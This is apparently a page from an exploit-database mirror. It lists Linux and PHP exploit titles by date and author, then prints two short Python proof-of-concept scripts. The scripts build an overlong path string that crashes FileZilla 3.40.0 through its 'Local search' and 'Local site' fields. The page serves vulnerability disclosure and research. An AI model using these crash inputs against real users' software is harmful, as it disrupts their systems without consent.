Menu

Improved exploit search engine. Try it out

"FileZilla 3.40.0 - 'Local search' / 'Local site' Denial of Service (PoC)"

Author

"Mr Winst0n"

Platform

linux

Release date

2019-03-04

Release Date Title Type Platform Author
2019-04-19 "SystemTap 1.3 - MODPROBE_OPTIONS Privilege Escalation (Metasploit)" local linux Metasploit
2019-04-12 "Zimbra Collaboration - Autodiscover Servlet XXE and ProxyServlet SSRF (Metasploit)" remote linux Metasploit
2019-04-08 "CentOS Web Panel 0.9.8.793 (Free) / 0.9.8.753 (Pro) - Cross-Site Scripting" webapps linux DKM
2019-04-08 "Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation" local linux cfreal
2019-03-29 "CentOS Web Panel 0.9.8.789 - NameServer Field Persistent Cross-Site Scripting" webapps linux DKM
2019-03-28 "gnutls 3.6.6 - 'verify_crt()' Use-After-Free" dos linux "Google Security Research"
2019-03-22 "snap - seccomp BBlacklist for TIOCSTI can be Circumvented" dos linux "Google Security Research"
2019-03-19 "libseccomp < 2.4.0 - Incorrect Compilation of Arithmetic Comparisons" dos linux "Google Security Research"
2019-03-11 "Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak" dos linux wally0813
2019-03-07 "Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)" remote linux Metasploit
2019-03-06 "Linux < 4.20.14 - Virtual Address 0 is Mappable via Privileged write() to /proc/*/mem" dos linux "Google Security Research"
2019-03-04 "FileZilla 3.40.0 - 'Local search' / 'Local site' Denial of Service (PoC)" dos linux "Mr Winst0n"
2019-03-01 "Linux < 4.14.103 / < 4.19.25 - Out-of-Bounds Read and Write in SNMP NAT Module" dos linux "Google Security Research"
2019-02-28 "Usermin 1.750 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-02-28 "WebKitGTK 2.23.90 / WebKitGTK+ 2.22.6 - Denial of Service" dos linux "Dhiraj Mishra"
2019-02-22 "Micro Focus Filr 3.4.0.217 - Path Traversal / Local Privilege Escalation" webapps linux SecureAuth
2019-02-20 "MatrixSSL < 4.0.2 - Stack Buffer Overflow Verifying x.509 Certificates" dos linux "Google Security Research"
2019-02-21 "Valentina Studio 9.0.5 Linux - 'Host' Buffer Overflow (PoC)" dos linux "Alejandra Sánchez"
2019-02-13 "runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (2)" local linux embargo
2019-02-15 "Linux - 'kvm_ioctl_create_device()' NULL Pointer Dereference" dos linux "Google Security Research"
2019-02-12 "Jenkins 2.150.2 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-02-11 "CentOS Web Panel 0.9.8.763 - Persistent Cross-Site Scripting" webapps linux DKM
2019-02-13 "snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (2)" local linux "Chris Moberly"
2019-02-13 "snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (1)" local linux "Chris Moberly"
2019-02-12 "runc < 1.0-rc6 (Docker < 18.09.2) - Host Command Execution" local linux feexd
2019-02-11 "Evince - CBT File Command Injection (Metasploit)" local linux Metasploit
2018-10-20 "LibSSH 0.7.6 / 0.8.4 - Unauthorized Access" remote linux jas502n
2019-01-29 "MiniUPnPd 2.1 - Out-of-Bounds Read" dos linux b1ack0wl
2019-01-23 "Nagios XI 5.5.6 - Remote Code Execution / Privilege Escalation" webapps linux "Chris Lyne"
2019-01-24 "Ghostscript 9.26 - Pseudo-Operator Remote Code Execution" remote linux "Google Security Research"
Release Date Title Type Platform Author
2019-04-02 "Fiverr Clone Script 1.2.2 - SQL Injection / Cross-Site Scripting" webapps php "Mr Winst0n"
2019-03-04 "CMSsite 1.0 - Multiple Cross-Site Request Forgery" webapps php "Mr Winst0n"
2019-03-04 "OOP CMS BLOG 1.0 - Multiple Cross-Site Request Forgery" webapps php "Mr Winst0n"
2019-03-04 "OOP CMS BLOG 1.0 - Multiple SQL Injection" webapps php "Mr Winst0n"
2019-03-04 "FileZilla 3.40.0 - 'Local search' / 'Local site' Denial of Service (PoC)" dos linux "Mr Winst0n"
2019-02-28 "Simple Online Hotel Reservation System - Cross-Site Request Forgery (Delete Admin)" webapps php "Mr Winst0n"
2019-02-28 "Simple Online Hotel Reservation System - Cross-Site Request Forgery (Add Admin)" webapps php "Mr Winst0n"
2019-02-28 "Simple Online Hotel Reservation System - SQL Injection" webapps php "Mr Winst0n"
2019-02-25 "Advance Gift Shop Pro Script 2.0.3 - SQL Injection" webapps php "Mr Winst0n"
2019-02-25 "News Website Script 2.0.5 - SQL Injection" webapps php "Mr Winst0n"
2019-02-25 "PHP Ecommerce Script 2.0.6 - Cross-Site Scripting / SQL Injection" webapps php "Mr Winst0n"
2019-02-19 "Ask Expert Script 3.0.5 - Cross Site Scripting / SQL Injection" webapps php "Mr Winst0n"
2019-02-18 "CMSsite 1.0 - 'post' SQL Injection" webapps php "Mr Winst0n"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46484/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46484/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46484/40936/filezilla-3400-local-search-local-site-denial-of-service-poc/download/", "exploit_id": "46484", "exploit_description": "\"FileZilla 3.40.0 - 'Local search' / 'Local site' Denial of Service (PoC)\"", "exploit_date": "2019-03-04", "exploit_author": "\"Mr Winst0n\"", "exploit_type": "dos", "exploit_platform": "linux", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# Exploit Title: FileZilla 3.40.0 - "Local search" Denial of Service (PoC)
# Discovery by: Mr Winst0n
# Discovery Date: February 20, 2019
# Vendor Homepage: https://filezilla-project.org
# Software Link : https://filezilla-project.org/download.php?type=client&show_all=1
# Tested Version: 3.40.0
# Tested on: Kali linux x86_64
# Vulnerability Type: Denial of Service (DoS)


# Steps to Produce the Crash:
# 1.- Run python code : python filezilla.py
# 2.- Open buff.txt and copy content to clipboard
# 3.- Open Filezilla (located in bin folder), in top bar click on Binoculars icon (search for files recursively)
# 4.- In the opend window, Set Search type to "Local search"
# 5.- Paste ClipBoard on "Search directory" and click on "Search"
# 6.- Boom! Crashed...


#!/usr/bin/env python

buffer = "\x41" * 384
crash = "/" + buffer + "BBBB" + "CCCC"
f = open("buff.txt", "w")
f.write(crash)
f.close()

# Note: If you have not "/" before payload, you should add it to begining of payload, So the program recognizes it as a valid path.


# Exploit Title: FileZilla 3.40.0 - "Local site" Denial of Service (PoC)
# Discovery by: Mr Winst0n
# Discovery Date: February 25, 2019
# Vendor Homepage: https://filezilla-project.org
# Software Link : https://filezilla-project.org/download.php?type=client&show_all=1
# Tested Version: 3.40.0
# Tested on: Kali linux x86_64
# Vulnerability Type: Denial of Service (DoS)


# Steps to Produce the Crash:
# 1.- Run python code : python filezilla-2.py
# 2.- Open crash.txt and copy content to clipboard
# 3.- In "Local site" section paste clipboard and Enter.
# 4.- Boom! Crashed...


#!/usr/bin/env python

buffer = "\x41" * 384
crash = "/" + buffer + "BBBB" + "CCCC"
f = open("crash.txt", "w")
f.write(crash)
f.close()

# Note: If you have not "/" before payload, you should add it to begining of payload, So the program recognizes it as a valid path.